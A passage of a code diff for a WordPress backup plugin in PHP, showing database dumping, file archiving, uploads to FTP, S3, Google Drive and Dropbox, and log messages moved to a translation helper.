$size += $f_size;
|
163 |
+
$files2[$i][] = $f;
|
164 |
+
}
|
165 |
+
|
166 |
+
WPAdm_Core::log('Сreated List Files is successfully');
|
167 |
+
$this->queue->clear();
|
168 |
+
|
169 |
+
foreach($files2 as $files) {
|
170 |
+
$commandContext = new WPAdm_Command_Context();
|
171 |
+
$commandContext ->addParam('command','archive')
|
172 |
+
->addParam('files', $files)
|
173 |
+
->addParam('to_file', $this->dir . '/'.$this->name)
|
174 |
+
->addParam('max_file_size', 900000)
|
175 |
+
->addParam('remove_path', ABSPATH);
|
176 |
+
|
177 |
+
$this->queue->add($commandContext);
|
178 |
+
unset($commandContext);
|
179 |
+
}
|
180 |
+
WPAdm_Core::log('Start archived files');
|
181 |
+
// сохраним и выполним
|
182 |
+
$this->queue->save()
|
183 |
+
->execute();
|
184 |
+
WPAdm_Core::log('End archived files');
|
185 |
+
|
186 |
+
$files = glob($this->dir . '/'.$this->name . '*');
|
187 |
+
$urls = array();
|
188 |
+
foreach($files as $file) {
|
189 |
+
$urls[] = str_replace(ABSPATH, '', $file);
|
190 |
+
}
|
191 |
+
$this->result->setData($urls);
|
192 |
+
|
193 |
+
WPAdm_Core::rmdir(DROPBOX_BACKUP_DIR_BACKUP . '/mysqldump.sql');
|
194 |
+
|
195 |
+
if ($this->params['limit'] != 0) {
|
196 |
+
WPAdm_Core::log('Start deleted old backup');
|
197 |
+
$files = glob(DROPBOX_BACKUP_DIR_BACKUP . '/*');
|
198 |
+
if (count($files) > $this->params['limit']) {
|
199 |
+
$files2 = array();
|
200 |
+
foreach($files as $f) {
|
201 |
+
$fa = explode('-', $f);
|
202 |
+
if (count($fa) != 3) {
|
203 |
+
continue;
|
204 |
+
}
|
205 |
+
$files2[$fa[2]] = $f;
|
206 |
+
|
207 |
+
}
|
208 |
+
ksort($files2);
|
209 |
+
$d = count($files2) - $this->params['limit'];
|
210 |
+
$del = array_slice($files2, 0, $d);
|
211 |
+
foreach($del as $d) {
|
212 |
+
WPAdm_Core::rmdir($d);
|
213 |
+
}
|
214 |
+
}
|
215 |
+
WPAdm_Core::log('Finish deleted old backups');
|
216 |
+
}
|
217 |
+
WPAdm_Core::log('Finish create');
|
218 |
+
|
219 |
+
if (!empty($errors)) {
|
220 |
+
$this->result->setError(implode("\n", $errors));
|
221 |
+
$this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
|
222 |
+
}
|
223 |
+
|
224 |
+
return $this->result;
|
225 |
+
|
226 |
+
|
227 |
+
}
|
228 |
+
|
229 |
+
|
230 |
+
|
231 |
+
public function createListFilesForArchive() {
|
232 |
+
$folders = array();
|
233 |
+
$files = array();
|
234 |
+
|
235 |
+
$files = array_merge(
|
236 |
+
$files,
|
237 |
+
array(
|
238 |
+
ABSPATH .'/.htaccess',
|
239 |
+
ABSPATH .'/index.php',
|
240 |
+
ABSPATH .'/license.txt',
|
241 |
+
ABSPATH .'/readme.html',
|
242 |
+
ABSPATH .'/wp-activate.php',
|
243 |
+
ABSPATH .'/wp-blog-header.php',
|
244 |
+
ABSPATH .'/wp-comments-post.php',
|
245 |
+
ABSPATH .'/wp-config.php',
|
246 |
+
ABSPATH .'/wp-config-sample.php',
|
247 |
+
ABSPATH .'/wp-cron.php',
|
248 |
+
ABSPATH .'/wp-links-opml.php',
|
249 |
+
ABSPATH .'/wp-load.php',
|
250 |
+
ABSPATH .'/wp-login.php',
|
251 |
+
ABSPATH .'/wp-mail.php',
|
252 |
+
ABSPATH .'/wp-settings.php',
|
253 |
+
ABSPATH .'/wp-signup.php',
|
254 |
+
ABSPATH .'/wp-trackback.php',
|
255 |
+
ABSPATH .'/xmlrpc.php',
|
256 |
+
)
|
257 |
+
);
|
258 |
+
|
259 |
+
if (!empty($this->params['minus-path'])) {
|
260 |
+
foreach($files as $k=>$v) {
|
261 |
+
$v = str_replace(ABSPATH .'/' , '', $v);
|
262 |
+
if (in_array($v, $this->params['minus-path'])) {
|
263 |
+
unset($files[$k]);
|
264 |
+
WPAdm_Core::log('Пропускаем файл ' . $v);
|
265 |
+
}
|
266 |
+
}
|
267 |
+
}
|
268 |
+
|
269 |
+
$folders = array_merge(
|
270 |
+
$folders,
|
271 |
+
array(
|
272 |
+
ABSPATH .'/wp-admin',
|
273 |
+
ABSPATH .'/wp-content',
|
274 |
+
ABSPATH .'/wp-includes',
|
275 |
+
)
|
276 |
+
);
|
277 |
+
|
278 |
+
foreach($this->params['plus-path'] as $p) {
|
279 |
+
if (empty($p)) {
|
280 |
+
continue;
|
281 |
+
}
|
282 |
+
$p = ABSPATH .'/' . $p;
|
283 |
+
if (file_exists($p)) {
|
284 |
+
if (is_dir($p)) {
|
285 |
+
$folders[] = $p;
|
286 |
+
} else{
|
287 |
+
$files[] = $p;
|
288 |
+
}
|
289 |
+
}
|
290 |
+
}
|
291 |
+
|
292 |
+
$folders = array_unique($folders);
|
293 |
+
$files = array_unique($files);
|
294 |
+
|
295 |
+
foreach($folders as $folder) {
|
296 |
+
if (!is_dir($folder)) {
|
297 |
+
continue;
|
298 |
+
}
|
299 |
+
$files = array_merge($files, $this->directoryToArray($folder, true));
|
300 |
+
}
|
301 |
+
return $files;
|
302 |
+
}
|
303 |
+
|
304 |
+
|
305 |
+
private function directoryToArray($directory, $recursive) {
|
306 |
+
$array_items = array();
|
307 |
+
|
308 |
+
$d = str_replace(ABSPATH . '/', '', $directory);
|
309 |
+
// пропускаем ненужные директории
|
310 |
+
|
311 |
+
if (
|
312 |
+
in_array($d, $this->params['minus-path'])
|
313 |
+
) {
|
314 |
+
WPAdm_Core::log('Пропускаем папку ' . $directory);
|
315 |
+
return array();
|
316 |
+
}
|
317 |
+
|
318 |
+
$d = str_replace('\\', '/', $d);
|
319 |
+
$tmp = explode('/', $d);
|
320 |
+
$d1 = mb_strtolower($tmp[0]);
|
321 |
+
unset($tmp[0]);
|
322 |
+
$d2 = mb_strtolower(implode('/', $tmp));
|
323 |
+
// if (strpos($d1, 'cache') !== false || ($d1 == 'wp-includes' && strpos($d2, 'cache') !== false)) {
|
324 |
+
// if (($d1 == 'wp-includes' && strpos($d2, 'cache') !== false)
|
325 |
+
// || ($d1 == 'wp-content' || !in_array($tmp[0], array('plugins', 'themes')))
|
326 |
+
if (strpos($d2, 'cache') !== false
|
327 |
+
&& !in_array($tmp[0], array('plugins', 'themes'))
|
328 |
+
) {
|
329 |
+
WPAdm_Core::log('Пропускаем папку(cache) ' . $directory);
|
330 |
+
return array();
|
331 |
+
}
|
332 |
+
if(strpos($directory, 'wpadm_backups') !== false) {
|
333 |
+
return array();
|
334 |
+
}
|
335 |
+
|
336 |
+
if ($handle = opendir($directory)) {
|
337 |
+
while (false !== ($file = readdir($handle))) {
|
338 |
+
if ($file != "." && $file != "..") {
|
339 |
+
if (is_dir($directory. "/" . $file)) {
|
340 |
+
if($recursive) {
|
341 |
+
$array_items = array_merge($array_items, $this->directoryToArray($directory. "/" . $file, $recursive));
|
342 |
+
}
|
343 |
+
|
344 |
+
$file = $directory . "/" . $file;
|
345 |
+
if (!is_dir($file)) {
|
346 |
+
$ff = preg_replace("/\/\//si", "/", $file);
|
347 |
+
$f = str_replace(ABSPATH . '/', '', $ff);
|
348 |
+
// пропускаем ненужные директории
|
349 |
+
if (!in_array($f, $this->params['minus-path'])) {
|
350 |
+
$array_items[] = $ff;
|
351 |
+
} else {
|
352 |
+
WPAdm_Core::log('Пропускаем файл ' . $ff);
|
353 |
+
}
|
354 |
+
}
|
355 |
+
} else {
|
356 |
+
$file = $directory . "/" . $file;
|
357 |
+
if (!is_dir($file)) {
|
358 |
+
$ff = preg_replace("/\/\//si", "/", $file);
|
359 |
+
$f = str_replace(ABSPATH . '/', '', $ff);
|
360 |
+
// пропускаем ненужные директории
|
361 |
+
if (!in_array($f, $this->params['minus-path'])) {
|
362 |
+
$array_items[] = $ff;
|
363 |
+
} else {
|
364 |
+
WPAdm_Core::log('Пропускаем файл ' . $ff);
|
365 |
+
}
|
366 |
+
}
|
367 |
+
}
|
368 |
+
}
|
369 |
+
}
|
370 |
+
closedir($handle);
|
371 |
+
}
|
372 |
+
return $array_items;
|
373 |
+
}
|
374 |
+
|
375 |
+
|
376 |
+
/*
|
377 |
+
* Берем реквизиты доступа к MySQL из параметров WP
|
378 |
+
* return Array()
|
379 |
+
*/
|
380 |
+
private function getWpMysqlParams()
|
381 |
+
{
|
382 |
+
$db_params = array(
|
383 |
+
'password' => 'DB_PASSWORD',
|
384 |
+
'db' => 'DB_NAME',
|
385 |
+
'user' => 'DB_USER',
|
386 |
+
'host' => 'DB_HOST',
|
387 |
+
);
|
388 |
+
|
389 |
+
$r = "/define\('(.*)', '(.*)'\)/";
|
390 |
+
preg_match_all($r, file_get_contents(ABSPATH . "wp-config.php"), $m);
|
391 |
+
$params = array_combine($m[1], $m[2]);
|
392 |
+
foreach($db_params as $k=>$p) {
|
393 |
+
$db_params[$k] = $params[$p];
|
394 |
+
}
|
395 |
+
return $db_params;
|
396 |
+
}
|
397 |
+
|
398 |
+
|
399 |
+
private function init(array $conf) {
|
400 |
+
//todo: нормализация
|
401 |
+
$this->id = $conf['id'];
|
402 |
+
$this->stime = $conf['stime'];
|
403 |
+
$this->queue = new WPAdm_Queue($this->id);
|
404 |
+
$this->type = $conf['type'];
|
405 |
+
}
|
406 |
+
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
407 |
}
|
methods/class-wpadm-method-full-backup-dropbox.php
CHANGED
@@ -59,9 +59,17 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
|
|
59 |
$this->name = $name;
|
60 |
|
61 |
// folder for backup
|
62 |
-
$this->dir =
|
63 |
-
WPAdm_Core::mkdir(
|
64 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
65 |
}
|
66 |
|
67 |
public function getResult()
|
@@ -71,19 +79,24 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
|
|
71 |
$this->result->setResult(WPAdm_Result::WPADM_RESULT_SUCCESS);
|
72 |
$this->result->setError('');
|
73 |
|
74 |
-
WPAdm_Core::log('Start backup');
|
75 |
|
76 |
# create db dump
|
77 |
-
WPAdm_Core::log('Start create db dump');
|
78 |
-
WPAdm_Core::mkdir(
|
79 |
-
$
|
|
|
|
|
|
|
|
|
|
|
80 |
if (file_exists($mysql_dump_file)) {
|
81 |
unlink($mysql_dump_file);
|
82 |
}
|
83 |
$wp_mysql_params = $this->getWpMysqlParams();
|
84 |
|
85 |
if (isset($this->params['optimize']) && ($this->params['optimize']==1)) {
|
86 |
-
WPAdm_Core::log('Table optimization');
|
87 |
$commandContext = new WPAdm_Command_Context();
|
88 |
$commandContext ->addParam('command','mysqloptimize')
|
89 |
->addParam('host', $wp_mysql_params['host'])
|
@@ -107,26 +120,29 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
|
|
107 |
->save()
|
108 |
->execute();
|
109 |
if (!$res) {
|
110 |
-
|
111 |
-
$
|
112 |
-
|
113 |
-
|
114 |
-
|
|
|
115 |
} else {
|
116 |
-
|
|
|
|
|
117 |
}
|
118 |
unset($commandContext);
|
119 |
|
120 |
|
121 |
#ЗАРХИВИРУЕМ ФАЙЛЫ
|
122 |
-
WPAdm_Core::log('Create a list of files');
|
123 |
$files = $this->createListFilesForArchive();
|
124 |
if (file_exists($mysql_dump_file) && filesize($mysql_dump_file) > 0) {
|
125 |
$files[] = $mysql_dump_file;
|
126 |
}
|
127 |
|
128 |
if (empty($files)) {
|
129 |
-
$errors[] = '
|
130 |
}
|
131 |
|
132 |
// split the file list by 170kbayt lists, To break one big task into smaller
|
@@ -140,7 +156,7 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
|
|
140 |
$size = 0;
|
141 |
$files2[$i] = array();
|
142 |
}
|
143 |
-
$f_size =(int)
|
144 |
if ($f_size == 0 || $f_size > 1000000) {
|
145 |
WPAdm_Core::log('file '. $f .' size ' . $f_size);
|
146 |
}
|
@@ -148,7 +164,7 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
|
|
148 |
$files2[$i][] = $f;
|
149 |
}
|
150 |
|
151 |
-
WPAdm_Core::log('List of
|
152 |
|
153 |
$this->queue->clear();
|
154 |
|
@@ -163,10 +179,10 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
|
|
163 |
$this->queue->add($commandContext);
|
164 |
unset($commandContext);
|
165 |
}
|
166 |
-
WPAdm_Core::log('
|
167 |
$this->queue->save()
|
168 |
->execute();
|
169 |
-
WPAdm_Core::log('End of
|
170 |
|
171 |
$files = glob($this->dir . '/'.$this->name . '*');
|
172 |
$urls = array();
|
@@ -183,7 +199,7 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
|
|
183 |
if (isset($this->params['storage'])) {
|
184 |
foreach($this->params['storage'] as $storage) {
|
185 |
if ($storage['type'] == 'ftp') {
|
186 |
-
WPAdm_Core::log('Begin copying files to FTP');
|
187 |
$this->queue->clear();
|
188 |
$files = glob($this->dir . '/'.$this->name . '*');
|
189 |
//$this->getResult()->setData($files);
|
@@ -206,15 +222,16 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
|
|
206 |
$res = $this->queue->save()
|
207 |
->execute();
|
208 |
if (!$res) {
|
209 |
-
|
210 |
-
$
|
|
|
211 |
}
|
212 |
-
WPAdm_Core::log('Finished copying files to FTP');
|
213 |
if (isset($storage['remove_from_server']) && $storage['remove_from_server'] == 1 ) {
|
214 |
$remove_from_server = $storage['remove_from_server'];
|
215 |
}
|
216 |
} elseif ($storage['type'] == 's3') {
|
217 |
-
WPAdm_Core::log('Begin coping files to S3');
|
218 |
$this->queue->clear();
|
219 |
$files = glob($this->dir . '/'.$this->name . '*');
|
220 |
//$this->getResult()->setData($files);
|
@@ -238,7 +255,7 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
|
|
238 |
WPAdm_Core::log('S3: ' . $this->queue->getError());
|
239 |
$errors[] = 'S3: '.$this->queue->getError();
|
240 |
}
|
241 |
-
WPAdm_Core::log('Finished copying files to S3');
|
242 |
if (isset($storage['remove_from_server']) && $storage['remove_from_server'] == 1 ) {
|
243 |
$remove_from_server = $storage['remove_from_server'];
|
244 |
}
|
@@ -246,7 +263,7 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
|
|
246 |
}
|
247 |
if ($remove_from_server) {
|
248 |
// удаляем файлы на сервере
|
249 |
-
WPAdm_Core::log('Remove the backup server');
|
250 |
WPAdm_Core::rmdir($this->dir);
|
251 |
}
|
252 |
|
@@ -255,7 +272,7 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
|
|
255 |
$this->queue->clear();
|
256 |
$files = glob($this->dir . '/' . $this->name . '*');
|
257 |
$files = array_merge_recursive(array($mysql_dump_file), $files);
|
258 |
-
WPAdm_Core::log('files to google: ' . print_r($files, true));
|
259 |
$n = count($files);
|
260 |
for($i = 0; $i <$n; $i++) {
|
261 |
$commandContext = new WPAdm_Command_Context();
|
@@ -272,7 +289,7 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
|
|
272 |
$res = $this->queue->save()
|
273 |
->execute();
|
274 |
if (!$res) {
|
275 |
-
WPAdm_Core::log('Google drive: ' . $this->queue->getError());
|
276 |
}
|
277 |
//WPAdm_Core::log('google drive' . print_r($this->params, true));
|
278 |
}
|
@@ -280,7 +297,7 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
|
|
280 |
$this->queue->clear();
|
281 |
$files = glob($this->dir . '/' . $this->name . '*');
|
282 |
$files = array_merge_recursive(array($mysql_dump_file), $files);
|
283 |
-
WPAdm_Core::log('files to dropbox: ' . print_r($files, true));
|
284 |
$n = count($files);
|
285 |
for($i = 0; $i <$n; $i++) {
|
286 |
$commandContext = new WPAdm_Command_Context();
|
@@ -297,17 +314,17 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
|
|
297 |
$this->queue->save()
|
298 |
->execute();
|
299 |
if (!$res) {
|
300 |
-
WPAdm_Core::log('Dropbox: ' . $this->queue->getError());
|
301 |
}
|
302 |
}
|
303 |
|
304 |
#Removing TMP-files
|
305 |
-
WPAdm_Core::rmdir(
|
306 |
|
307 |
#Removind old backups(if limit the number of stored backups)
|
308 |
-
WPAdm_Core::log('Start removing old backups');
|
309 |
if ($this->params['limit'] != 0) {
|
310 |
-
$files = glob(
|
311 |
if (count($files) > $this->params['limit']) {
|
312 |
$files2 = array();
|
313 |
foreach($files as $f) {
|
@@ -326,22 +343,23 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
|
|
326 |
}
|
327 |
}
|
328 |
}
|
329 |
-
WPAdm_Core::log('Finished removing old backups');
|
330 |
|
331 |
-
WPAdm_Core::log('Creating a backup is completed');
|
332 |
|
|
|
333 |
if (!empty($errors)) {
|
334 |
$this->result->setError(implode("\n", $errors));
|
335 |
$this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
|
|
|
|
|
|
|
|
|
336 |
}
|
337 |
-
|
338 |
return $this->result;
|
339 |
-
|
340 |
-
|
341 |
}
|
342 |
|
343 |
-
|
344 |
-
|
345 |
public function createListFilesForArchive() {
|
346 |
$folders = array();
|
347 |
$files = array();
|
@@ -376,7 +394,7 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
|
|
376 |
$v = str_replace(ABSPATH , '', $v);
|
377 |
if (in_array($v, $minus_path)) {
|
378 |
unset($files[$k]);
|
379 |
-
WPAdm_Core::log('Skip file ' . $v);
|
380 |
}
|
381 |
}
|
382 |
}
|
@@ -439,6 +457,9 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
|
|
439 |
WPAdm_Core::log('Skip dir(cache) ' . $directory);
|
440 |
return array();
|
441 |
}
|
|
|
|
|
|
|
442 |
|
443 |
if ($handle = opendir($directory)) {
|
444 |
while (false !== ($file = readdir($handle))) {
|
@@ -468,7 +489,7 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
|
|
468 |
if (!in_array($f, $minus_path)) {
|
469 |
$array_items[] = $ff;
|
470 |
} else {
|
471 |
-
WPAdm_Core::log('Skip dir ' . $ff);
|
472 |
}
|
473 |
}
|
474 |
}
|
@@ -494,7 +515,7 @@ if (!class_exists('WPadm_Method_Full_Backup_Dropbox')) {
|
|
494 |
);
|
495 |
|
496 |
$r = "/define\('(.*)', '(.*)'\)/";
|
497 |
-
preg_match_all($r, file_get_contents(ABSPATH . "wp-config.php"), $m);
|
498 |
$params = array_combine($m[1], $m[2]);
|
499 |
foreach($db_params as $k=>$p) {
|
500 |
$db_params[$k] = $params[$p];
|
59 |
$this->name = $name;
|
60 |
|
61 |
// folder for backup
|
62 |
+
$this->dir = DROPBOX_BACKUP_DIR_BACKUP . '/' . $this->name;
|
63 |
+
$error = WPAdm_Core::mkdir(DROPBOX_BACKUP_DIR_BACKUP);
|
64 |
+
if (!empty($error)) {
|
65 |
+
$this->result->setError($error);
|
66 |
+
$this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
|
67 |
+
}
|
68 |
+
$error = WPAdm_Core::mkdir($this->dir);
|
69 |
+
if (!empty($error)) {
|
70 |
+
$this->result->setError($error);
|
71 |
+
$this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
|
72 |
+
}
|
73 |
}
|
74 |
|
75 |
public function getResult()
|
79 |
$this->result->setResult(WPAdm_Result::WPADM_RESULT_SUCCESS);
|
80 |
$this->result->setError('');
|
81 |
|
82 |
+
WPAdm_Core::log( langWPADM::get('Start backup', false) );
|
83 |
|
84 |
# create db dump
|
85 |
+
WPAdm_Core::log( langWPADM::get('Start create db dump', false) );
|
86 |
+
$error = WPAdm_Core::mkdir(DROPBOX_BACKUP_DIR_BACKUP);
|
87 |
+
if (!empty($error)) {
|
88 |
+
$this->result->setError($error);
|
89 |
+
$this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
|
90 |
+
return $this->result;
|
91 |
+
}
|
92 |
+
$mysql_dump_file = DROPBOX_BACKUP_DIR_BACKUP . '/mysqldump.sql';
|
93 |
if (file_exists($mysql_dump_file)) {
|
94 |
unlink($mysql_dump_file);
|
95 |
}
|
96 |
$wp_mysql_params = $this->getWpMysqlParams();
|
97 |
|
98 |
if (isset($this->params['optimize']) && ($this->params['optimize']==1)) {
|
99 |
+
WPAdm_Core::log( langWPADM::get('Table optimization', false) );
|
100 |
$commandContext = new WPAdm_Command_Context();
|
101 |
$commandContext ->addParam('command','mysqloptimize')
|
102 |
->addParam('host', $wp_mysql_params['host'])
|
120 |
->save()
|
121 |
->execute();
|
122 |
if (!$res) {
|
123 |
+
$log = str_replace('%s', $this->queue->getError(), langWPADM::get('Error: Dump of Database wasn\'t created (%s)', false) );
|
124 |
+
WPAdm_Core::log($log);
|
125 |
+
$errors[] = $log;
|
126 |
+
} elseif (0 == (int)@filesize($mysql_dump_file)) {
|
127 |
+
$errors[] = langWPADM::get('MySQL Error: Database-Dump File is empty', false);
|
128 |
+
WPAdm_Core::log(langWPADM::get('Dump of Database wasn\'t created (File of Database-Dump is empty!)', false));
|
129 |
} else {
|
130 |
+
$size_dump = round( (filesize($mysql_dump_file) / 1024 / 1024) , 2);
|
131 |
+
$log = str_replace("%s", $size_dump , langWPADM::get('Database Dump was successfully created ( %s Mb) : ', false) ) ;
|
132 |
+
WPAdm_Core::log($log . $mysql_dump_file);
|
133 |
}
|
134 |
unset($commandContext);
|
135 |
|
136 |
|
137 |
#ЗАРХИВИРУЕМ ФАЙЛЫ
|
138 |
+
WPAdm_Core::log( langWPADM::get('Create a list of files for Backup', false) );
|
139 |
$files = $this->createListFilesForArchive();
|
140 |
if (file_exists($mysql_dump_file) && filesize($mysql_dump_file) > 0) {
|
141 |
$files[] = $mysql_dump_file;
|
142 |
}
|
143 |
|
144 |
if (empty($files)) {
|
145 |
+
$errors[] = langWPADM::get('Error: the list of Backup files is empty', false);
|
146 |
}
|
147 |
|
148 |
// split the file list by 170kbayt lists, To break one big task into smaller
|
156 |
$size = 0;
|
157 |
$files2[$i] = array();
|
158 |
}
|
159 |
+
$f_size =(int)filesize($f);
|
160 |
if ($f_size == 0 || $f_size > 1000000) {
|
161 |
WPAdm_Core::log('file '. $f .' size ' . $f_size);
|
162 |
}
|
164 |
$files2[$i][] = $f;
|
165 |
}
|
166 |
|
167 |
+
WPAdm_Core::log( langWPADM::get('List of Backup-Files was successfully created', false) );
|
168 |
|
169 |
$this->queue->clear();
|
170 |
|
179 |
$this->queue->add($commandContext);
|
180 |
unset($commandContext);
|
181 |
}
|
182 |
+
WPAdm_Core::log( langWPADM::get('Backup of Files was started', false) );
|
183 |
$this->queue->save()
|
184 |
->execute();
|
185 |
+
WPAdm_Core::log( langWPADM::get('End of File Backup', false) );
|
186 |
|
187 |
$files = glob($this->dir . '/'.$this->name . '*');
|
188 |
$urls = array();
|
199 |
if (isset($this->params['storage'])) {
|
200 |
foreach($this->params['storage'] as $storage) {
|
201 |
if ($storage['type'] == 'ftp') {
|
202 |
+
WPAdm_Core::log( langWPADM::get('Begin copying files to FTP', false) );
|
203 |
$this->queue->clear();
|
204 |
$files = glob($this->dir . '/'.$this->name . '*');
|
205 |
//$this->getResult()->setData($files);
|
222 |
$res = $this->queue->save()
|
223 |
->execute();
|
224 |
if (!$res) {
|
225 |
+
$log = langWPADM::get('FTP: ' , false);
|
226 |
+
WPAdm_Core::log($log . $this->queue->getError());
|
227 |
+
$errors[] = $log . $this->queue->getError();
|
228 |
}
|
229 |
+
WPAdm_Core::log( langWPADM::get('Finished copying files to FTP' , false) );
|
230 |
if (isset($storage['remove_from_server']) && $storage['remove_from_server'] == 1 ) {
|
231 |
$remove_from_server = $storage['remove_from_server'];
|
232 |
}
|
233 |
} elseif ($storage['type'] == 's3') {
|
234 |
+
WPAdm_Core::log( langWPADM::get('Begin coping files to S3' , false) );
|
235 |
$this->queue->clear();
|
236 |
$files = glob($this->dir . '/'.$this->name . '*');
|
237 |
//$this->getResult()->setData($files);
|
255 |
WPAdm_Core::log('S3: ' . $this->queue->getError());
|
256 |
$errors[] = 'S3: '.$this->queue->getError();
|
257 |
}
|
258 |
+
WPAdm_Core::log( langWPADM::get('Finished copying files to S3' , false) );
|
259 |
if (isset($storage['remove_from_server']) && $storage['remove_from_server'] == 1 ) {
|
260 |
$remove_from_server = $storage['remove_from_server'];
|
261 |
}
|
263 |
}
|
264 |
if ($remove_from_server) {
|
265 |
// удаляем файлы на сервере
|
266 |
+
WPAdm_Core::log( langWPADM::get('Remove the backup server' , false) );
|
267 |
WPAdm_Core::rmdir($this->dir);
|
268 |
}
|
269 |
|
272 |
$this->queue->clear();
|
273 |
$files = glob($this->dir . '/' . $this->name . '*');
|
274 |
$files = array_merge_recursive(array($mysql_dump_file), $files);
|
275 |
+
WPAdm_Core::log( langWPADM::get('files to google: ' , false) . print_r($files, true));
|
276 |
$n = count($files);
|
277 |
for($i = 0; $i <$n; $i++) {
|
278 |
$commandContext = new WPAdm_Command_Context();
|
289 |
$res = $this->queue->save()
|
290 |
->execute();
|
291 |
if (!$res) {
|
292 |
+
WPAdm_Core::log( langWPADM::get('Google drive: ' , false) . $this->queue->getError());
|
293 |
}
|
294 |
//WPAdm_Core::log('google drive' . print_r($this->params, true));
|
295 |
}
|
297 |
$this->queue->clear();
|
298 |
$files = glob($this->dir . '/' . $this->name . '*');
|
299 |
$files = array_merge_recursive(array($mysql_dump_file), $files);
|
300 |
+
WPAdm_Core::log( langWPADM::get('files to dropbox: ' , false) . print_r($files, true));
|
301 |
$n = count($files);
|
302 |
for($i = 0; $i <$n; $i++) {
|
303 |
$commandContext = new WPAdm_Command_Context();
|
314 |
$this->queue->save()
|
315 |
->execute();
|
316 |
if (!$res) {
|
317 |
+
WPAdm_Core::log(langWPADM::get('Dropbox: ' , false) . $this->queue->getError());
|
318 |
}
|
319 |
}
|
320 |
|
321 |
#Removing TMP-files
|
322 |
+
WPAdm_Core::rmdir(DROPBOX_BACKUP_DIR_BACKUP . '/mysqldump.sql');
|
323 |
|
324 |
#Removind old backups(if limit the number of stored backups)
|
325 |
+
WPAdm_Core::log( langWPADM::get('Start removing old backups' , false) );
|
326 |
if ($this->params['limit'] != 0) {
|
327 |
+
$files = glob(DROPBOX_BACKUP_DIR_BACKUP . '/*');
|
328 |
if (count($files) > $this->params['limit']) {
|
329 |
$files2 = array();
|
330 |
foreach($files as $f) {
|
343 |
}
|
344 |
}
|
345 |
}
|
346 |
+
WPAdm_Core::log( langWPADM::get('Finished removing old backups' , false) );
|
347 |
|
348 |
+
WPAdm_Core::log( langWPADM::get('Creating a backup is completed' , false) );
|
349 |
|
350 |
+
wpadm_class::setBackup(2);
|
351 |
if (!empty($errors)) {
|
352 |
$this->result->setError(implode("\n", $errors));
|
353 |
$this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
|
354 |
+
wpadm_class::setStatus(0);
|
355 |
+
wpadm_class::setErrors( implode(", ", $errors) );
|
356 |
+
} else {
|
357 |
+
wpadm_class::setStatus(1);
|
358 |
}
|
359 |
+
wpadm_class::backupSend();
|
360 |
return $this->result;
|
|
|
|
|
361 |
}
|
362 |
|
|
|
|
|
363 |
public function createListFilesForArchive() {
|
364 |
$folders = array();
|
365 |
$files = array();
|
394 |
$v = str_replace(ABSPATH , '', $v);
|
395 |
if (in_array($v, $minus_path)) {
|
396 |
unset($files[$k]);
|
397 |
+
WPAdm_Core::log( langWPADM::get('Skip file ' , false) . $v);
|
398 |
}
|
399 |
}
|
400 |
}
|
457 |
WPAdm_Core::log('Skip dir(cache) ' . $directory);
|
458 |
return array();
|
459 |
}
|
460 |
+
if(strpos($directory, DROPBOX_BACKUP_DIR_NAME) !== false) {
|
461 |
+
return array();
|
462 |
+
}
|
463 |
|
464 |
if ($handle = opendir($directory)) {
|
465 |
while (false !== ($file = readdir($handle))) {
|
489 |
if (!in_array($f, $minus_path)) {
|
490 |
$array_items[] = $ff;
|
491 |
} else {
|
492 |
+
WPAdm_Core::log( langWPADM::get('Skip dir ' , false) . $ff);
|
493 |
}
|
494 |
}
|
495 |
}
|
515 |
);
|
516 |
|
517 |
$r = "/define\('(.*)', '(.*)'\)/";
|
518 |
+
preg_match_all($r, file_get_contents( ABSPATH . "wp-config.php"), $m);
|
519 |
$params = array_combine($m[1], $m[2]);
|
520 |
foreach($db_params as $k=>$p) {
|
521 |
$db_params[$k] = $params[$p];
|
methods/class-wpadm-method-local-backup.php
CHANGED
@@ -3,36 +3,63 @@
|
|
3 |
if (!class_exists('WPAdm_Method_Local_Backup')) {
|
4 |
class WPAdm_Method_Local_Backup extends WPAdm_Method_Class {
|
5 |
|
|
|
|
|
6 |
public function __construct($params)
|
7 |
{
|
8 |
parent::__construct($params);
|
9 |
$this->init(
|
10 |
array(
|
11 |
-
'id' => uniqid('
|
12 |
'stime' => time(),
|
13 |
)
|
14 |
);
|
15 |
-
|
16 |
-
|
17 |
-
unlink($file_log);
|
18 |
-
}
|
19 |
-
WPAdm_Core::log('Create Unique Id '. $this->id);
|
20 |
|
21 |
|
22 |
$name = get_option('siteurl');
|
23 |
|
24 |
$name = str_replace("http://", '', $name);
|
25 |
$name = str_replace("https://", '', $name);
|
26 |
-
$name = preg_replace("|\W|", "_", $name);
|
27 |
-
$
|
28 |
-
|
|
|
|
|
|
|
|
|
|
|
29 |
